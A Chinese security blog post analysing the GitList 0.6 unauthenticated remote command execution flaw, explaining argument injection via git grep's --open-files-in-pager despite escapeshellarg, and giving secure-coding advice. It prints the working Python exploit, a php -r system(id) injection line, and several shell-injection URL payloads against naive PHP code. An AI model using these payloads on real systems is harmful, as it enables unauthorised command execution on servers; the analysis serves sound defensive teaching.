美文网首页我用 Linux程序猿阵线联盟-汇总各类技术干货程序员
如何在开发中避免远程命令执行漏洞的一些思考以及相关漏洞分析

如何在开发中避免远程命令执行漏洞的一些思考以及相关漏洞分析

作者: 王一航 | 来源:发表于2018-05-31 21:03 被阅读164次

    安全客 独家发表本文,如需要转载,请先联系 安全客 授权;未经授权请勿转载。
    本文首发地址 : https://www.anquanke.com/post/id/146416

    image.png

    概要:

    文章内容如下:

    • 安全公告 -> Exploit 应该经历的步骤
    • GitList 0.6 Unauthenticated RCE 分析
    • 为何使用了 PHP escapeshellcmd / escapeshellarg 函数,依然存在 RCE 漏洞
    • GitList 的 $branch 参数是否可以再次命令注入?
    • git grep 如何实现,是否也是调用了系统命令?
    • 分析使用 -- 修复该漏洞是否完善
    • 安全开发的一些建议

    信息:

    漏洞作者信息:

    # Exploit Title: GitList 0.6 Unauthenticated RCE
    # Date: 25-04-2018
    # Software Link: https://github.com/klaussilveira/gitlist
    # Exploit Author: Kacper Szurek
    # Contact: https://twitter.com/KacperSzurek
    # Website: https://security.szurek.pl/
    # Category: remote
    

    分析:

    参考 EXP:

    # 核心代码如下: 
    import requests
    
    host = 'localhost'
    port = '80'
    repo = 'gitlist'
    branch = 'master'
    command = 'id'
    search_url = 'http://%s:%d/%s/tree/%s/search' % (host, port, repo, branch)
    requests.post(
        search_url, 
        data={
            'query':'--open-files-in-pager=%s' % (command)
        }
    )
    

    个人分析这些开源项目 WEB 漏洞的经验并不是很足, 总结一下并不算经验的经验

    安全公告-_Exploit.png

    下图为本文中要分析的 GitList 远程命令执行漏洞套用在上图中的执行流程

    Untitled.png

    本文接下来会按照上图中的关键节点进行分析:

    安全公告:

    https://www.exploit-db.com/exploits/44548/

    Exploit 脚本:

    https://www.exploit-db.com/exploits/44548/

    关键字:

    1. 该项目 GitHub 仓库已经对该漏洞进行修复

    https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322

    image.png
    由此可知存在漏洞的文件为: src/Git/Repository.php image.png
    1. 根据 Exploit 中请求的 URL , 定位到文件

      ` image.png
      image.png

    漏洞位置:

    https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322#diff-8ca606c62dcfbfc0804fc52da0ef371fL328

    漏洞成因:

    看到这个漏洞的利用方式, 让我感觉到很奇怪的一点
    代码中明明已经对传入的参数 $query 使用了 escapeshellarg 函数以确保安全性
    为什么仍然可以被利用呢?

    命令行的参数根据需求大致可以分为这几种:

    1. 传值类的参数
      例如: php -r 'phpinfo();' 其中的 -r 参数为传值类型, 该参数后由 ${IFS} 分割, 之后的第一个参数为该参数的值
    2. 开关类的参数
      例如: ls -a 中的 -a 即为开关类型的参数, 有这个参数则会显示隐藏文件, 没有则不显示
      该漏洞中被执行的命令为:
    git grep -i --line-number $query $branch
    

    其中参数: -i 为开关类型的参数, 而不是传值类的参数, 含义为是否大小写不敏感, 有该参数则忽略大小写进行匹配, 以下为 man 手册

           -i, --ignore-case
               Ignore case differences between the patterns and the files.
    

    其中参数: --line-number 为一个开关类型的参数, 而不是传值类型的参数, 有该参数则会在结果中显示匹配行的行数, 没有则不显示, 以下为 man 手册

           -n, --line-number
               Prefix the line number to matching lines.
    

    我们知道 php 的系统命令最终是调用 sh 这个 shell 来执行的
    在 sh 下, 命令的参数有如下特点:

    • 如果某一个参数被单引号包裹, 那么 sh 在创建新进程, 给新进程的 main 函数传递参数之前, 是会把单引号去掉的

    例如:

    ➜  ~   /bin/sh
    $ cat main.py
    #!/usr/bin/env python
    # coding:utf-8
    
    import sys
    
    for i in sys.argv:
        print i
    
    $ python main.py --help
    main.py
    --help
    $ python main.py '--help'
    main.py
    --help
    $ 
    

    而 PHP 的 escapeshellarg 的功能即为:

    escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

    有一句比较重要的话是 having it be treated as a single safe argument

    例如:

    $ git grep -i --line-number '--open-files-in-pager=php -r "system(id);"' master
    PHP Notice:  Use of undefined constant id - assumed 'id' in Command line code on line 1
    uid=500(ubuntu) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
    $ git grep -i --line-number --open-files-in-pager=php -r "system(id);" master 
    error: unknown switch `r'
    usage: git grep [<options>] [-e] <pattern> [<rev>...] [[--] <path>...]
    

    上述代码中, 第二条命令, 我们原本的意图为:
    想让 git 认为 --open-files-in-pager 这个参数的值 php -r "system(id);"
    但是因为 sh 在解析命令的时候会使用 ${IFS} 来分隔参数
    导致的结果为 php -r "system(id);" 中的 -r 被解析为 git-grep 的一个参数 -r
    事实上 git-grep 是没有这个参数的... 因此命令不能得到执行
    实际上 --open-files-in-pager 的值变成了 php, 而不是 php -r "system(id);"
    而第一种, 则会正确执行, 这和上述的 php escapeshellarg 文档中的说法一致, 只能解析一个参数

    猜想 git 在实现参数解析的时候还会对 sh 传入的参数使用 = 进行分隔, 得到键值对, 之后的源码分析也将会证实这一点

    https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c#L894

    程序自己怎么对参数进行处理是程序自己的事情, shell 所做的工作就是使用 ${IFS} 把用户在 shell 中输入的一个字符串分隔, 并进行一些转义的解码, 然后传递给新的进程的 char *argv[], 这个漏洞的问题就在于 git-grep 这个命令是可以通过参数来指定显示结果所使用的文本编辑器的: vi / less, 但是并没有将参数值限制在这两个编辑器中, 这样就给了我们执行任意命令的余地

    思考

    下面的内容大概分为几个部分:

    • $branch 是否可以用来命令注入, 看起来似乎没有被过滤
    • git-grep 命令是怎么实现的? 是通过原生的代码实现正则引擎, 还是也是在内部调用了 grep 命令, 如果调用了 grep 命令, 那么是否有可能存在漏洞?
    • 类似的漏洞 CVE-2017-8386
    • 是否有别的系统也存在类似的漏洞
    • 安全开发
    一. $branch 是否可以用来命令注入

    可以看到 GitList 使用了 Silex 进行路由的控制:

    https://github.com/silexphp/Silex
    https://github.com/klaussilveira/gitlist/blob/master/src/Provider/ViewUtilServiceProvider.php#L6

    image.png

    跟进代码可以发现,$branch 这个参数是从 GET 参数中传递过来的

    https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Controller/TreeController.php#L51

    image.png

    Silex 中,对参数的处理规则如下:

    https://silex.symfony.com/doc/2.0/usage.html#route-variables

    image.png

    GitList 会调用 Escape.ArgumentEscaper.escape 来对 $branch 进行处理

    https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Escaper/ArgumentEscaper.php

    这里对 $branch 调用了 escapeshellcmd
    PS: 这里其实 $branch 是作为参数身份的... 但是却调用了 escapeshellcmd 来对其进行处理, 感觉有点奇怪
    这个限制可以说很死了,应该不能再进行利用了。

    二. git-grep 命令是怎么实现的

    之前在申请 Google Summer of Code 项目的时候有关注过 Git 这个项目, 其中有一个 Idea 是将诸如 git-rebase 这样的命令重新用 C 语言来实现, 也就是目前暂时的实现是 bash 脚本
    翻了一下 Git 的源码, 找到 git-grep 命令的实现方式, 如下:

    builtin/grep.c

    int cmd_grep(int argc, const char **argv, const char *prefix)
    
    image.png image.png
    image.png image.png
    image.png

    该函数中最终调用了 execve 来执行命令, 我们可以在这个函数执行的时候, 将参数打印出来进行观察

    struct child_process {
        const char **argv;
        struct argv_array args;
        struct argv_array env_array;
        pid_t pid;
        /*
         * Using .in, .out, .err:
         * - Specify 0 for no redirections (child inherits stdin, stdout,
         *   stderr from parent).
         * - Specify -1 to have a pipe allocated as follows:
         *     .in: returns the writable pipe end; parent writes to it,
         *          the readable pipe end becomes child's stdin
         *     .out, .err: returns the readable pipe end; parent reads from
         *          it, the writable pipe end becomes child's stdout/stderr
         *   The caller of start_command() must close the returned FDs
         *   after it has completed reading from/writing to it!
         * - Specify > 0 to set a channel to a particular FD as follows:
         *     .in: a readable FD, becomes child's stdin
         *     .out: a writable FD, becomes child's stdout/stderr
         *     .err: a writable FD, becomes child's stderr
         *   The specified FD is closed by start_command(), even in case
         *   of errors!
         */
        int in;
        int out;
        int err;
        const char *dir;
        const char *const *env;
        unsigned no_stdin:1;
        unsigned no_stdout:1;
        unsigned no_stderr:1;
        unsigned git_cmd:1; /* if this is to be git sub-command */
        unsigned silent_exec_failure:1;
        unsigned stdout_to_stderr:1;
        unsigned use_shell:1;
        unsigned clean_on_exit:1;
        unsigned wait_after_clean:1;
        void (*clean_on_exit_handler)(struct child_process *process);
        void *clean_on_exit_handler_cbdata;
    };
    
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
    [Switching to Thread 0xb7dd2700 (LWP 12047)]
    
    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0x8379458 --> 0xbfffffdb ("COLUMNS=159")
    ECX: 0xbfffe6bc --> 0x0 
    EDX: 0x0 
    ESI: 0x41 ('A')
    EDI: 0xbfffe6bc --> 0x0 
    EBP: 0xb7dd26c0 --> 0x16 
    ESP: 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff 
    EIP: 0x817ba40 (<start_command+1776>:   mov    eax,DWORD PTR [esp+0x2c])
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x817ba35 <start_command+1765>:  add    esp,0x10
       0x817ba38 <start_command+1768>:  test   eax,eax
       0x817ba3a <start_command+1770>:  jne    0x817c553 <start_command+4611>
    => 0x817ba40 <start_command+1776>:  mov    eax,DWORD PTR [esp+0x2c]
       0x817ba44 <start_command+1780>:  sub    esp,0x4
       0x817ba47 <start_command+1783>:  push   ebx
       0x817ba48 <start_command+1784>:  lea    edx,[eax+0x4]
       0x817ba4b <start_command+1787>:  push   edx
    [------------------------------------stack-------------------------------------]
    0000| 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff 
    0004| 0xbfffe5c4 --> 0xbfffe818 --> 0x836f038 --> 0x8361118 --> 0x8006469 
    0008| 0xbfffe5c8 --> 0xbfffe5ec --> 0x8376bd0 --> 0x83717f0 ("/bin/sh")
    0012| 0xbfffe5cc --> 0xffffffff 
    0016| 0xbfffe5d0 --> 0x0 
    0020| 0xbfffe5d4 --> 0x0 
    0024| 0xbfffe5d8 --> 0x0 
    0028| 0xbfffe5dc --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Thread 3.1 "git" hit Breakpoint 3, start_command (cmd=0xbfffe818) at run-command.c:818
    818         execve(argv.argv[1], (char *const *) argv.argv + 1,
    gdb-peda$ p argv.argv[1]
    $12 = 0x83793c8 "/usr/bin/id"
    gdb-peda$ p argv.argv[2]
    $13 = 0x8371878 ".gitmodules"
    gdb-peda$ p argv.argv[3]
    $14 = 0x8371888 "Documentation/Makefile"
    

    最后只是通过 exceve 执行了 $pager 的命令

    继续看代码发现了函数:

    static void compile_pcre1_regexp(struct grep_pat *p, const struct grep_opt *opt)
    

    https://www.pcre.org/

    调用了 PCRE 这个正则库, 因此这里应该不存在命令注入漏洞了

    三. 类似的漏洞

    参考 phith0n 的文章:

    https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html

    image.png

    其中使用到了命令 git-upload-archive
    本地执行发现该命令的 --help 这个命令最终是调用了 less 来展示帮助信息的
    那么我们怎么才能发现所有的这种 --help 会执行 less 命令的命令呢?
    写一个 shell 脚本试试

    ➜  /tmp   for i in `ls /sbin/*`
    do
    $i --help && echo $i && sleep 3
    done
    

    目前已经发现的命令如下:

    /bin/bzless --help
    /bin/journalctl --help
    /bin/less --help
    /bin/systemctl --help
    
    /usr/bin/git-receive-pack --help
    /usr/bin/git-upload-archive --help
    
    /sbin/ifenslave --help
    /sbin/ifenslave-2.6 --help
    

    那么假设我们已经可以通过某些手段可以控制上述命令的参数(非HTTP)那么我们就可以依托于 --help 调用了 less,再通过 less 来执行系统命令。

    四. 是否有别的系统也存在类似的漏洞

    测试系统:
    Codiad 无

    五. 安全开发

    个人觉得这种注入的漏洞都是因为在两个组件通信的过程中产生的,本质上都是程序员预期执行的操作和实际执行的操作产生了差异,例如

    1. 命令注入,开发者要执行特定系统命令,必须把命令转换成一个字符串,然后传给执行者(也就是 shell ),然后 shell 再解析,这个传递过程就可能会出现信息传递不对等的问题,就很容易造成实际执行命令和预期执行的产生差别
    2. sql注入:开发者有和数据库软件通信的需求,但是他无法直接操作数据库软件,只能通过数据库软件提供的api(也就是sql,一个字符串),这样就可能出现差别
      程序员的意图在这个转化的过程中传递:
    3. 需要先对意图进行表述,表述为一种统一的格式,在 命令执行 和 sql 注入中都表述为了一个字符串
    4. 然后由执行者解析,执行系统命令或者 sql query
      1 和 2 这两个过程任意一个出现问题就可能造成漏洞(或者bug)

    例如 PHP 的这个pcntl_exec函数:

    http://php.net/manual/en/function.pcntl-exec.php
    该函数可以将命令的参数作为数组传入, 这样可以最大程度避免命令注入的问题

    例如如下几种编程例子:

    // Level 0: 小白程序员
    <?php
      $name = $_GET['name'];
      system("echo $name");
    // Hacker: 没有任何过滤
    http://127.0.0.1/index.php?name=evil | id
    http://127.0.0.1/index.php?name=evil %0a id
    http://127.0.0.1/index.php?name=evil & id
    http://127.0.0.1/index.php?name=evil && id
    http://127.0.0.1/index.php?name=`id`
    http://127.0.0.1/index.php?name=$(id)
    
    // Level 1: 初级程序员
    <?php
      $name = escapeshellarg($_GET['name']);
      system("echo '$name'");
    // Hacker: 虽然使用了 escapeshellarg, 但是用法错误, 仍然可以逃逸
    // 由于 escapeshellarg 这个函数会在字符串外部添加单引号包裹,因此当参数被该函数处理过后,直到执行之前,都不应该再在外部出现不必要的单引号
    // 因此这里如果用户传入的 name 为 `| id | echo `
    // 那么被执行的命令就是 echo ''| id | echo '' 被注入恶意命令
    
    // Level 2: 中级程序员
    <?php
      $name = escapeshellarg($_GET['name']);
      system(escapeshellcmd("echo ".$name));
    // 参考文章: https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/
    // 策略: escapeshellcmd 与 escapeshellarg 不可同时使用
    
    // Level 3: 了解安全的程序员
    <?php
    $query = $_GET['query']; // $query = "--open-files-in-pager=w"; 
    $branch = "master"; 
    pcntl_exec(
      "/usr/bin/git", 
      array("grep", "-i", "--line-number", $query, $branch), 
      array("PATH"=>"/usr/bin/")
    );
    // 这样的写法一般情况下可以防止绝大多数的命令注入漏洞,但是在这个漏洞中也是有问题的
    // 因为这个漏洞命令注入的位置是在`传值类的参数`的`值`的这个地方,只要用户可以控制一对`参数`和`值`(注意这里说的`一对`在 shell 看来其实是一个参数,例如 `--open-files-in-pager=php`),那么就可以利用该漏洞
    // 而上面的写法并不能防止这个问题
    

    根据上述 Level 3,再来看看修复方案:

    image.png

    开发者在参数中添加了 -- 解决了这个问题:
    根据文章:https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands

    A -- signals the end of options and disables further option processing. 
    Any arguments after the -- are treated as filenames and arguments. 
    

    可以得知:--bash 的一个内置功能
    看到这里,脑海中冒出一个疑问,-- 只是 shell (bash) 的一个功能吗?应用程序在实现的时候会不会处理这个参数呢?
    有两种情况:

    1. bash 读入一条命令,利用 ${IFS} 分割这个命令,将其转换为字符串数组,其中需要将 -- 之后的字符串全部视为整个字符串传入 exec 族的函数
    2. bash 读入一条命令,利用 ${IFS} 分割这个命令,将其转换为字符串数组,将这个字符串数组作为 char * argv[] 直接传入 exec 族函数,由于应用程序对 -- 这个参数进行处理

    我们可以进行以下测试:(由于 php 在执行系统命令的时候调用了 sh 而不是 bash ,因此直接使用 gdb 调试sh),sh 在执行命令的时候使用系统调用 execve 来完成

    http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
    64 位系统调用参数传递方式为:
    man syscall

           The second table shows the registers used to pass the system call argu‐
           ments.
    
           arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
           ──────────────────────────────────────────────────────────────
           alpha         a0    a1    a2    a3    a4    a5    -
           arc           r0    r1    r2    r3    r4    r5    -
           arm/OABI      a1    a2    a3    a4    v1    v2    v3
           arm/EABI      r0    r1    r2    r3    r4    r5    r6
           arm64         x0    x1    x2    x3    x4    x5    -
           blackfin      R0    R1    R2    R3    R4    R5    -
           i386          ebx   ecx   edx   esi   edi   ebp   -
           ia64          out0  out1  out2  out3  out4  out5  -
           m68k          d1    d2    d3    d4    d5    a0    -
           microblaze    r5    r6    r7    r8    r9    r10   -
           mips/o32      a0    a1    a2    a3    -     -     -     [1]
           mips/n32,64   a0    a1    a2    a3    a4    a5    -
           nios2         r4    r5    r6    r7    r8    r9    -
           parisc        r26   r25   r24   r23   r22   r21   -
           powerpc       r3    r4    r5    r6    r7    r8    r9
           s390          r2    r3    r4    r5    r6    r7    -
           s390x         r2    r3    r4    r5    r6    r7    -
           superh        r4    r5    r6    r7    r0    r1    r2
           sparc/32      o0    o1    o2    o3    o4    o5    -
           sparc/64      o0    o1    o2    o3    o4    o5    -
           tile          R00   R01   R02   R03   R04   R05   -
           x86-64        rdi   rsi   rdx   r10   r8    r9    -
           x32           rdi   rsi   rdx   r10   r8    r9    -
           xtensa        a6    a3    a4    a5    a8    a9    -
    

    在调试器中直接打印 $rsi

    sun@sun:~$ gdb -q
    gdb-peda$ file sh
    Reading symbols from sh...(no debugging symbols found)...done.
    gdb-peda$ b execve
    Breakpoint 1 at 0x4510
    gdb-peda$ run -c 'ls -- -al'
    Starting program: /bin/sh -c 'ls -- -al'
    [New process 9252]
    [Switching to process 9252]
    [----------------------------------registers-----------------------------------]
    RAX: 0x0 
    RBX: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
    RCX: 0x5555557753f8 --> 0x6c2f6e0000736c00 ('')
    RDX: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
    RSI: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
    RDI: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
    RBP: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
    RSP: 0x7fffffffda18 --> 0x55555555ba4e (cmp    rbx,r12)
    RIP: 0x7ffff7ac8e30 (<execve>:  mov    eax,0x3b)
    R8 : 0x7ffff7dcfc40 --> 0x0 
    R9 : 0x0 
    R10: 0x555555774010 --> 0x100000000 
    R11: 0x7ffff7b933c0 --> 0xfff074f0fff074e0 
    R12: 0x555555569f59 --> 0x68732f6e69622f ('/bin/sh')
    R13: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
    R14: 0x7fffffffda20 --> 0x400 
    R15: 0x7fffffffeeb5 ("/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/sun/.rvm/bin:/home/sun/.rvm/bin")
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7ffff7ac8e22 <__GI__exit+82>:  mov    DWORD PTR fs:[r9],eax
       0x7ffff7ac8e26 <__GI__exit+86>:  jmp    0x7ffff7ac8dfe <__GI__exit+46>
       0x7ffff7ac8e28:  nop    DWORD PTR [rax+rax*1+0x0]
    => 0x7ffff7ac8e30 <execve>: mov    eax,0x3b
       0x7ffff7ac8e35 <execve+5>:   syscall 
       0x7ffff7ac8e37 <execve+7>:   cmp    rax,0xfffffffffffff001
       0x7ffff7ac8e3d <execve+13>:  jae    0x7ffff7ac8e40 <execve+16>
       0x7ffff7ac8e3f <execve+15>:  ret
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffda18 --> 0x55555555ba4e (cmp    rbx,r12)
    0008| 0x7fffffffda20 --> 0x400 
    0016| 0x7fffffffda28 --> 0x7ffff7a7ccfd (<__GI___libc_realloc+205>: test   rax,rax)
    0024| 0x7fffffffda30 --> 0xb0 
    0032| 0x7fffffffda38 --> 0x7ffff7dcfc40 --> 0x0 
    0040| 0x7fffffffda40 --> 0xd0 
    0048| 0x7fffffffda48 --> 0x3f0 
    0056| 0x7fffffffda50 --> 0x555555773aa0 --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Thread 2.1 "sh" hit Breakpoint 1, execve ()
        at ../sysdeps/unix/syscall-template.S:78
    78  ../sysdeps/unix/syscall-template.S: No such file or directory.
    gdb-peda$ x /8x $rsi
    0x555555773b90 <stackbase+240>: 0x0000555555773b40  0x0000555555773b58
    0x555555773ba0 <stackbase+256>: 0x0000555555773b70  0x0000000000000000
    0x555555773bb0 <stackbase+272>: 0x00007fffffffefa8  0x00007fffffffea4d
    0x555555773bc0 <stackbase+288>: 0x00007fffffffeb0f  0x00007fffffffefdc
    gdb-peda$ x /s 0x0000555555773b40
    0x555555773b40 <stackbase+160>: "ls"
    gdb-peda$ x /s 0x0000555555773b58
    0x555555773b58 <stackbase+184>: "--"
    gdb-peda$ x /s 0x0000555555773b70
    0x555555773b70 <stackbase+208>: "-al"
    

    从上述日志中,我们可以的得出 sh 并不会对 -- 进行处理,会将其直接传入命令,是否支持 -- 得看具体的应用程序是否支持 -- 来结束参数的输入
    也就是说在这个漏洞的修复中,开发者是查阅了 git 的文档

    https://git-scm.com/docs/git-grep

    image.png

    发现 git 是支持使用 -- 来结束参数的输入的,才采取了这样的措施来修复这个漏洞,那么如果 git 不支持 -- 的话,就算添加了 -- 也是没有作用的
    PS: 不过这个 -- 用来结束参数的输入这个设定在绝大多数 Unix 的程序中都被支持,可以算是一个“潜”规则吧。
    关于开发的启示:

    1. 尽可能避免执行系统命令来实现某些功能,除非该功能实现起来实在非常困难,否则首选使用脚本语言自己实现
    2. 在执行系统命令的时候检查用户输入参数(即可控部分)
    3. 使用 pcntl_exec 这类可以限制一次只执行一条命令并且参数为数组传入的函数而不是 system 这种直接调用 sh 去执行命令的函数
    4. 在使用 pcntl_exec 之前也需要小心地检查被执行的命令是否存在执行子命令的可能,如果有则需要尽可能避免

    搭建漏洞环境:

    参考如下链接:


    参考文献:


    作者: 王一航
    GitHub: https://github.com/WangYihang

    相关文章

      网友评论

      本文标题:如何在开发中避免远程命令执行漏洞的一些思考以及相关漏洞分析

      本文链接:https://www.haomeiwen.com/subject/jzmlrftx.html